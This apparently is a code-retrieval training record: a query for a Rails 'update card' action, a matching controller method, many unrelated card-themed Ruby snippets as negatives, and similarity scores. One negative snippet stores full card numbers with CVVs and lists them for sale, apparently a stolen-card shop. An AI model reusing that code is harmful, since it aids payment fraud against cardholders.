"def registerCard\n parameters={user_id: (@current_user[\"id\"]).to_i, number: (params[:number]).to_i, amount: (params[:amount]).to_i, expiration_month: (params[:expiration_month]).to_i, expiration_year: (params[:expiration_year]).to_i}\n puts (parameters)\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.104:3003/credit_cards\", options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n end",
"def create\n @namecard = Namecard.new(namecard_params)\n\n respond_to do |format|\n if @namecard.save\n format.html { redirect_to @namecard, notice: 'Namecard was successfully created.' }\n format.json { render :show, status: :created, location: @namecard }\n else\n format.html { render :new }\n format.json { render json: @namecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @Point2Card = Point2Card.create(:card_id => params[:card_id], :value => params[:value], :suit => params[:suit])\n\n if @Point2Card.save\n render json: {}, status: :created\n else\n render json: @Point2Card.errors, status: :unprocessable_entity\n end\n end",
"def create\n @card = @cards.new(card_params)\n @card.assign_attributes(parent: Card.find_by_id(params[:card][:parent_id])) if params[:card][:parent_id]\n if @card.save\n @card.add_sr_event(1)\n render json: @card, status: :created\n else\n render json: @card.errors, status: :unprocessable_entity\n end\n end",
"def create\n \n @flashcard = Flashcard.new(params[:flashcard])\n @deck = Deck.find(params[:deck_id]) \n @flashcard.deck = @deck\n respond_to do |format|\n if @flashcard.save\n format.html { redirect_to @flashcard, notice: 'Flashcard was successfully created.' }\n format.json { render json: @flashcard, status: :created, location: @flashcard }\n else\n format.html { render action: \"new\" }\n format.json { render json: @flashcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def card_params\n params.require(:card).permit(:front, :back, :status, :deck_id, :image)\n end",
"def create_creditcard\n \n @creditcard = Creditcards.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creditcard }\n end\n end",
"def post(list_id, name, description = \"\")\n Trello::Card.create(name: name, list_id: list_id, desc: description)\n end",
"def create\n @cardbox = current_user.cardboxes.new(params[:cardbox])\n\n respond_to do |format|\n if @cardbox.save\n format.html { redirect_to(@cardbox, :notice => _('Der Karteikasten wurde angelegt.')) }\n format.xml { render :xml => @cardbox, :status => :created, :location => @cardbox }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cardbox.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ccard = Ccard.new(ccard_params)\n\n respond_to do |format|\n if @ccard.save\n format.html { redirect_to @ccard, notice: 'Ccard was successfully created.' }\n format.json { render :show, status: :created, location: @ccard }\n else\n format.html { render :new }\n format.json { render json: @ccard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n @card[:authorization_id] = Authorization.current_id\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render :show, status: :created }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @old_card = OldCard.new(params[:old_card])\n\n respond_to do |format|\n if @old_card.save\n format.html { redirect_to(@old_card, :notice => 'Old card was successfully created.') }\n format.xml { render :xml => @old_card, :status => :created, :location => @old_card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @old_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def card_params\n params.require(:card).permit(:number, :name, :text, :description)\n end",
"def create\n @name_card = NameCard.new(name_card_params)\n\n respond_to do |format|\n if @name_card.save\n format.html { redirect_to @name_card, notice: 'Name card was successfully created.' }\n format.json { render :show, status: :created, location: @name_card }\n else\n format.html { render :new }\n format.json { render json: @name_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entry_card = EntryCard.new(entry_card_params)\n\n respond_to do |format|\n if @entry_card.save\n format.html { redirect_to @entry_card, notice: 'Entry card was successfully created.' }\n format.json { render action: 'show', status: :created, location: @entry_card }\n else\n format.html { render action: 'new' }\n format.json { render json: @entry_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def card_params\n params.require(:card).permit(:no, :tag, :question, :answer, :comment, :is_archive, :is_link, :original)\n end",
"def card_params\n params.require(:card).permit(:title, :description)\n end",
"def create\n @bcard = Bcard.new(params[:bcard])\n\n respond_to do |format|\n if @bcard.save\n format.html { redirect_to(@bcard, :notice => 'Bcard was successfully created.') }\n format.xml { render :xml => @bcard, :status => :created, :location => @bcard }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bcard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def card_params\n params.require(:card).permit(:name, :year, :description, :sku, :price, :serial_number, :front_image_url, :available, :back_image_url, :team_ids => [], :c_attribute_ids => [], :card_manufacturer_ids => [], :player_ids => [])\n end",
"def post\n begin\n charge = Stripe::Charge.create({\n amount: params[:amount],\n currency: 'sgd',\n customer: params[:customer_id],\n source: params[:card_id]\n })\n\n json_response(charge, :created)\n\n rescue Stripe::InvalidRequestError => exception\n response = Hash.new\n response[:error] = exception.message\n\n json_response(response, :bad_request)\n end\n end",
"def create\n @eno_card = EnoCard.new(eno_card_params)\n\n respond_to do |format|\n if @eno_card.save\n format.html { redirect_to @eno_card, notice: 'Eno card was successfully created.' }\n format.json { render :show, status: :created, location: @eno_card }\n else\n format.html { render :new }\n format.json { render json: @eno_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n notify_admin(\"Card Created (#{@card.last_three_digits})\", @card.as_json)\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render json: @card, status: :created, location: @card }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def card\n Card.from_response client.get(\"/actions/#{action_id}/card\")\n end",
"def add_one_card\n if request.post?\n front = params[:card][:front]\n back = params[:card][:back]\n\n if front.blank? || back.blank?\n flash[:error] = 'Front and Back must not be blank'\n else\n @deck = Deck.all.select{|x| x.title =~ /^Misc/}.sort_by(&:created_at).last\n\n # first time only\n if @deck.nil?\n @deck = Deck.new(:title => 'Misc 1', :front_description => 'Thai', :back_description => 'English', :active => true)\n @deck.save!(false)\n end\n\n # already have ten cards, make a new one\n if @deck.cards.length >= 10\n @deck.title =~ /^Misc (.*)/\n number = $1.to_i + 1\n @deck = Deck.new(:title => \"Misc #{number}\", :front_description => 'Thai', :back_description => 'English', :active => true)\n @deck.save!(false)\n end\n\n Card.create(:front => front, :back => back, :deck_id => @deck.id)\n flash[:notice] = \"Added card to deck #{@deck.title}, front: #{front}, back: #{back}\"\n end\n end\n\n render :layout => false\n end",
"def create\n @card_instance = CardInstance.new(card_instance_params)\n\n respond_to do |format|\n if @card_instance.save\n format.html { redirect_to @card_instance, notice: 'Card owner was successfully created.' }\n format.json { render :show, status: :created, location: @card_instance }\n else\n format.html { render :new }\n format.json { render json: @card_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_card\n\t\t@card = Card.new(params[:card])\n\t\t@card.cardsort_id = params[:cardsort_id]\n\t\trespond_to do |format|\n\t\t\tif (@card.save)\n\t\t\t\tformat.js {render \"new_card\", :status => :created}\n\t\t\telse\n\t\t\t\tformat.js {render \"new_card\", :status => :ok}\n\t\t\tend\n\t\tend\n\tend",
"def create\n @deck = Deck.new_from_api\n\n respond_to do |format|\n if @deck.save\n format.html { redirect_to @deck, notice: 'Deck was successfully created.' }\n format.json { render :show, status: :created, location: @deck }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def card_params\n params.require(:card).permit(:title, :origin, :posted_at, :user_id)\n end",
"def create_release_card summary\n # build post object\n url = 'https://api.github.com/projects/columns/%s/cards' % RELEASE\n uri = URI url\n post = Net::HTTP::Post.new uri, HEADERS\n post.body = { 'note' => summary }.to_json\n\n # create connection and send post\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = 'https' == uri.scheme\n response = http.request post\n log 'release.log', \"#{response.inspect}: #{response.body}: #{response.uri}\" if response.code >= '400'\nend",
"def card_params\n params.require(:card).permit(:card, :ocr_info, :user, :tag_list)\n end",
"def create\n @card_set = CardSet.new(card_set_params)\n\n respond_to do |format|\n if @card_set.save\n format.html { redirect_to @card_set, notice: 'Card set was successfully created.' }\n format.json { render :show, status: :created, location: @card_set }\n else\n format.html { render :new }\n format.json { render json: @card_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @poker_card = PokerCard.new(poker_card_params)\n\n respond_to do |format|\n if @poker_card.save\n format.html { redirect_to @poker_card, notice: 'Poker card was successfully created.' }\n format.json { render action: 'show', status: :created, location: @poker_card }\n else\n format.html { render action: 'new' }\n format.json { render json: @poker_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n token = params[:stripeToken]\n @card = AddStripeCard.call(current_user, card_params, card_additional_params, token)\n # debugger\n respond_to do |format|\n if @card.errors.blank?\n format.html { redirect_to cards_path, notice: \"Card #{current_user.cards.last.card_last_four} was successfully created.\" }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new, alert: \"There was an issue with your card, please try again.\"}\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card_set = CardSet.new(params[:card_set])\n\n respond_to do |format|\n if @card_set.save\n format.html { redirect_to @card_set, notice: 'Card set was successfully created.' }\n format.json { render json: @card_set, status: :created, location: @card_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @Waste2Card = Waste2Card.create(:card_id => params[:card_id], :value => params[:value], :suit => params[:suit])\n\n if @Waste2Card.save\n render json: {}, status: :created\n else\n render json: @Waste2Card.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cruno_card = CrunoCard.new(params[:cruno_card])\n\n respond_to do |format|\n if @cruno_card.save\n format.html { redirect_to @cruno_card, notice: 'Cruno card was successfully created.' }\n format.json { render json: @cruno_card, status: :created, location: @cruno_card }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cruno_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @inden_card = IndenCard.new(inden_card_params)\n\n respond_to do |format|\n if @inden_card.save\n format.html { redirect_to @inden_card, notice: (t 'inden_cards.title2')+(t 'actions.created') }\n format.json { render action: 'show', status: :created, location: @inden_card }\n else\n format.html { render action: 'new' }\n format.json { render json: @inden_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @keycard = Keycard.new(keycard_params)\n\n respond_to do |format|\n if @keycard.save\n format.html { redirect_to keycards_path, notice: 'keycard was successfully created.' }\n format.json { render :show, status: :created, location: @keycard }\n else\n format.html { render :new }\n format.json { render json: @keycard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_card_using_post(card_request, opts = {})\n data, _status_code, _headers = create_card_using_post_with_http_info(card_request, opts)\n data\n end",
"def create\n @fleet_card = FleetCard.new(params[:fleet_card])\n\n respond_to do |format|\n if @fleet_card.save\n format.html { redirect_to(@fleet_card, :notice => 'Fleet Card was successfully added.') }\n format.xml { render :xml => @fleet_card, :status => :created, :location => @fleet_card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fleet_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @m_card = MCard.new(m_card_params)\n respond_to do |format|\n if @m_card.save\n format.html { redirect_to m_cards_path, notice: 'カード追加しました' }\n format.json { render action: 'show', status: :created, location: m_cards_path }\n else\n format.html { render action: 'new' }\n format.json { render json: @m_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flash_card = FlashCard.new(params[:flash_card])\n\n respond_to do |format|\n if @flash_card.save\n format.html { redirect_to(@flash_card, :notice => 'Flash card was successfully created.') }\n format.json { render :json => @flash_card, :status => :created, :location => @flash_card }\n format.xml { render :xml => @flash_card, :status => :created, :location => @flash_card }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @flash_card.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @flash_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @bank_card = BankCard.new(params[:bank_card])\n\n respond_to do |format|\n if @bank_card.save\n format.html { redirect_to(@bank_card) }\n format.xml { render :xml => @bank_card, :status => :created, :location => @bank_card }\n format.json { render :text => '{status: \"success\", message: \"成功创建银行卡!\"}'}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bank_card.errors, :status => :unprocessable_entity }\n format.json { render :text => \"{status: 'failed', error:#{@bank_card.errors.full_messages.to_json}}\"}\n end\n end\n end",
"def create\n @owned_card = OwnedCard.new(owned_card_params)\n @owned_card.user = current_user\n\n respond_to do |format|\n if @owned_card.save\n format.html { redirect_to @owned_card, notice: 'Owned card was successfully created.' }\n format.json { render action: 'show', status: :created, location: @owned_card }\n else\n @cards = @owned_card.printing.card.printings\n format.html { render action: 'new' }\n format.json { render json: @owned_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def card_params\n params.require(:card).permit(:title, :body, :board_id, :user_id)\n end",
"def card_params\n params.require(:card).permit(:cardNumber, :expDate, :emisor, :statuss)\n end",
"def create\n @card = Card.new(params[:card])\n @current_user = User.find_by_id(session[:user_id])\n\n unless @current_user.admin?\n flash[:error] = \"You do not have permission to create a card\"\n redirect_to cards_path(@cards)\n return\n end\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render json: @card, status: :created, location: @card }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @stack = Stack.new\n @stack.set_default_attributes\n # TO DO - DON'T HAVE IT CREATE A NEW THING IN A DATABASE, YET\n @stack.save\n @card = Card.new\n @card.type = \"TextCard\"\n @card.stack_id = @stack.id\n #redirect to create a new card\n # redirect_to new_stack_card_path(@stack)\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cards }\n end\n\n end",
"def create\n @card = Card.new(params[:card])\n @card.user_id = session[:user_id]\n\n respond_to do |format|\n if @card.save\n listingcard = ListingCard.new do |m|\n m.memoword_id = session[:memoword_id]\n m.card_id = @card.id\n m.memorized = false\n end\n listingcard.save\n #format.html {render action: \"new\" }\n format.html { redirect_to new_card_url, notice: 'カードは作成されBookに登録されました' }\n format.json { render json: @card, status: :created, location: @card }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # new instance of a card with parameters of card details\n @card = Card.create(card_params)\n # current user info gets associated with card?? ASK\n # if card is valid based on our criteria (validations)\n # then the card will be saved and added to list of all cards\n # and user will be redirected to list of all cards\n if @card.valid?\n @card.save!\n \n redirect_to cards_path\n # if card doesn't fit our criteria, then user will get an\n # error message\n else\n render :new\n flash[:alert] = \"There was an error with your submission\"\n end\n end",
"def card_params\n params.require(:card).permit(:question, :answer)\n end",
"def card_params\n params.require(:card).permit(:result_no, :generate_no, :e_no, :s_no, :name, :possession, :kind, :card_id)\n end",
"def create\n @tcard = Tcard.new(tcard_params)\n\n respond_to do |format|\n if @tcard.save\n format.html { redirect_to @tcard, notice: 'Tcard was successfully created.' }\n format.json { render :show, status: :created, location: @tcard }\n else\n format.html { render :new }\n format.json { render json: @tcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @debit_card = DebitCard.new(debit_card_params)\n\n respond_to do |format|\n if @debit_card.save\n format.html { redirect_to @debit_card, notice: 'Debit card was successfully created.' }\n format.json { render :show, status: :created, location: @debit_card }\n else\n format.html { render :new }\n format.json { render json: @debit_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @credit_cards = params[:credit_cards]\n\n @credit_cards.each do |cc|\n # expiry_date = cc[\"'expiry'\"].map{|k,v| v}.join(\"-\").to_date\n\n card = CreditCard.create!(\n bin: cc[\"'bin'\"], card_number: cc[\"'card_number'\"], card_info: cc[\"'card_info'\"], cvv: cc[\"'cvv'\"], expiry: cc[\"'expiry'\"],\n brand: cc[\"'brand'\"], card_type: cc[\"'card_type'\"], bank: cc[\"'bank'\"], country_code: cc[\"'country_code'\"],\n country_name: cc[\"'country_name'\"], card_category: cc[\"'card_category'\"]\n )\n\n item = card.items.create!(price: cc[\"'price'\"], user_id: current_user.id)\n track_activity(card)\n end\n\n redirect_to sell_items_path, notice: 'Credit cards were successfully created.'\n end",
"def create\n @scorecard = Scorecard.new(params[:scorecard])\n\n respond_to do |format|\n if @scorecard.save\n format.html { redirect_to @scorecard, notice: 'Scorecard was successfully created.' }\n format.json { render json: @scorecard, status: :created, location: @scorecard }\n else\n format.html { render action: \"new\" }\n format.json { render json: @scorecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_card(list_id, name = nil, options = {})\n post \"cards\", options.merge(name: name, list_id: resource_id(list_id))\n end",
"def new\n @expansion_of_card = ExpansionOfCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expansion_of_card }\n end\n end",
"def create\n @payment_card = PaymentCard.new(payment_card_params)\n\n respond_to do |format|\n if @payment_card.save\n format.html { redirect_to payment_cards_url, notice: 'Payment card was successfully created.' }\n format.json { render :show, status: :created, location: @payment_card }\n else\n format.html { render :new }\n format.json { render json: @payment_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @old_card = OldCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_card }\n end\n end",
"def cards\n @celebrity = Celebrity.find(params[:id])\n @cards = @celebrity.cards\n render json: @cards\n end",
"def create\n @user_card = UserCard.new(user_card_params)\n\n respond_to do |format|\n if @user_card.save\n format.html { redirect_to @user_card, notice: 'User card was successfully created.' }\n format.json { render :show, status: :created, location: @user_card }\n else\n format.html { render :new }\n format.json { render json: @user_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bank_card = BankCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bank_card }\n end\n end",
"def card_params\n params.require(:card).permit(:card_type, :request_type, :activity_type, :requester_name, :requester_email, :requester_div, :contact_names, :title, :short_description, :prev_work, :accomplish, :benefits, :goal_alignment, :at_stake, :ext_pressure, :non_tech, :time_constraints, :priority, :sponsor, :more_info, :short_name, :in_cycle, :start_cycle, :done_cycle, :card_status, :ext_link, :lit_lead, :lit_dept, :service_lead, :other_contacts, :comments, :at_stake_details, :accomplish_details, :non_tech_details, :benefits_details, :ext_pressure_details, :time_constraints_details, :exp_start_month, :exp_start_month_month, :exp_start_month_year, :exp_end_month, :exp_end_month_month, :exp_end_month_year, :epic)\n end",
"def card_params\n params.require(:card).permit(:cc, :xmonth, :xyear, :expiration_date)\n end",
"def create\n @creativitycard = Creativitycard.new(creativitycard_params)\n\n respond_to do |format|\n if @creativitycard.save\n format.html { redirect_to @creativitycard, notice: 'Creativitycard was successfully created.' }\n format.json { render :show, status: :created, location: @creativitycard }\n else\n format.html { render :new }\n format.json { render json: @creativitycard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def charge(attrs = {})\n post :charges, {}, attrs.to_xml(:root => :charge)\n end",
"def create_card(address_book_id, card_uri, card_data)\n end",
"def create\n @card = check_params_and_create(params)\n\n if @card != nil\n render json: {\n :api_key => @card.api_key ,\n :barcode => @card.cardnumber,\n :is_active => @card.is_active,\n :current_balance => @card.balance,\n :balance_total => @card.balance_total,\n :max_balance => @card.program.punch_card}, status:201\n else\n render json: \"Kan de stempelkaart niet aanmaken!\", status:409\n end #@card != nil\n\n end",
"def create\n\n @user = current_user\n card = Card.find(params[:card_id])\n @collection_card = @user.add_card_to_collection(card_id)\n# @collection_card = CollectionCard.new(params[:collection_card])\n\n respond_to do |format|\n if @collection_card.save\n format.html { redirect_to(@collection_card, :notice => 'Collection card was successfully created.') }\n format.xml { render :xml => @collection_card, :status => :created, :location => @collection_card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @collection_card.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.66286236",
"0.64144975",
"0.6391199",
"0.6329236",
"0.62321126",
"0.62181884",
"0.6198717",
"0.6197103",
"0.6192009",
"0.6150703",
"0.61479205",
"0.614452",
"0.614452",
"0.614452",
"0.614452",
"0.6092645",
"0.6021786",
"0.5975484",
"0.59512806",
"0.5946162",
"0.59432894",
"0.5941763",
"0.59309727",
"0.5910804",
"0.5898523",
"0.58902395",
"0.58677894",
"0.58511925",
"0.5848228",
"0.5844498",
"0.5825224",
"0.5801492",
"0.5794486",
"0.5780832",
"0.5779407",
"0.57744634",
"0.57654047",
"0.5756087",
"0.5745451",
"0.5736861",
"0.5735943",
"0.5734867",
"0.572895",
"0.57159513",
"0.5693218",
"0.56931794",
"0.56844807",
"0.56784683",
"0.5670231",
"0.5655342",
"0.56548375",
"0.5651315",
"0.5650402",
"0.5638275",
"0.5631081",
"0.5627111",
"0.56188124",
"0.5617223",
"0.5608698",
"0.5603796",
"0.56022435",
"0.5600326",
"0.559902",
"0.55944926",
"0.5592858",
"0.55919456",
"0.55850524",
"0.5576406",
"0.55717355",
"0.5568093",
"0.5562187",
"0.5561159",
"0.5558423",
"0.55528265",
"0.55485284",
"0.554625",
"0.5542429",
"0.5537876",
"0.55377954",
"0.5517572",
"0.5511853",
"0.54984474",
"0.5492597",
"0.54913175",
"0.54866135",
"0.54762197",
"0.5472693",
"0.5470298",
"0.5460923",
"0.5453842",
"0.54477674",
"0.5446626",
"0.5431852",
"0.5429103",
"0.54285955",
"0.5427803",
"0.54202145",
"0.5416643",
"0.54163545",
"0.54152673"
] |
0.6068049
|
16
|
PUT /cards/1 PUT /cards/1.xml
|
def update
# @card = Card.find(params[:id])
respond_to do |format|
if @card.update_attributes(params[:card])
flash[:notice] = 'Card was successfully updated.'
format.html { redirect_to(@card) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xmll => @card.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @card = Card.find(params[:id])\n respond_to do |format|\n if @card.update_attributes(params[:card])\n flash[:notice] = 'Card was successfully updated.'\n format.html { redirect_to(deck_card_url(@deck, @card)) }\n format.xml { head :ok }\n else\n @decks = Deck.find(:all, :order => 'title')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update\n @card.update(card_params)\n if @card.errors.any?\n render json: @card.errors, status: :unprocessable_entity\n else\n render json: @card, status: 201\n end\n end",
"def update\n @card = @deck.cards.find(params[:id])\n respond_to do |format|\n if @card.update_attributes(card_params)\n format.html { redirect_to deck_path(@deck), notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: deck_card_path(@deck, @card) }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to cards_url, :notice => 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @card.update(card_params)\n render json: @card, status: :created\n else\n render json: @card.errors, status: :unprocessable_entity\n end\n end",
"def update\n # @card = Card.find(params[:id])\n # @card.update(card_params)\n # render json: @card\n end",
"def update\n @card = Card.find(params[:id])\n\n if @card.update(card_params)\n head :no_content\n else\n render json: @card.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.json { render json: {}, status: :ok }\n else\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(card_params)\n format.html { redirect_to action: :index }\n format.json { head :no_content }\n flash[:notice] = 'Card was successfully updated.'\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to tarot_cards_path(@tarot), notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to cards_path, notice: t(\".successfully_updated\") }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Tarjeta Actualizada Satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to deck_cards_path(@deck, @card), notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n puts \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\"\n puts card_params\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @card = Card.find(params[:id])\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, flash: { success: \"Updated the card!\" } }\n format.json { render json: @card, status: :ok }\n else\n format.html {\n flash[:danger] = \"Error : Failed to update card.\"\n render :edit\n }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cardbox = current_user.cardboxes.find(params[:id])\n\n respond_to do |format|\n if @cardbox.update_attributes(params[:cardbox])\n format.html { redirect_to(@cardbox, :notice => _('Der Karteikasten wurde geändert')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cardbox.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @old_card = OldCard.find(params[:id])\n\n respond_to do |format|\n if @old_card.update_attributes(params[:old_card])\n format.html { redirect_to(@old_card, :notice => 'Old card was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @old_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @collection_card = CollectionCard.find(params[:id])\n\n respond_to do |format|\n if @collection_card.update_attributes(params[:collection_card])\n format.html { redirect_to(@collection_card, :notice => 'Collection card was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @collection_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Cartão atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
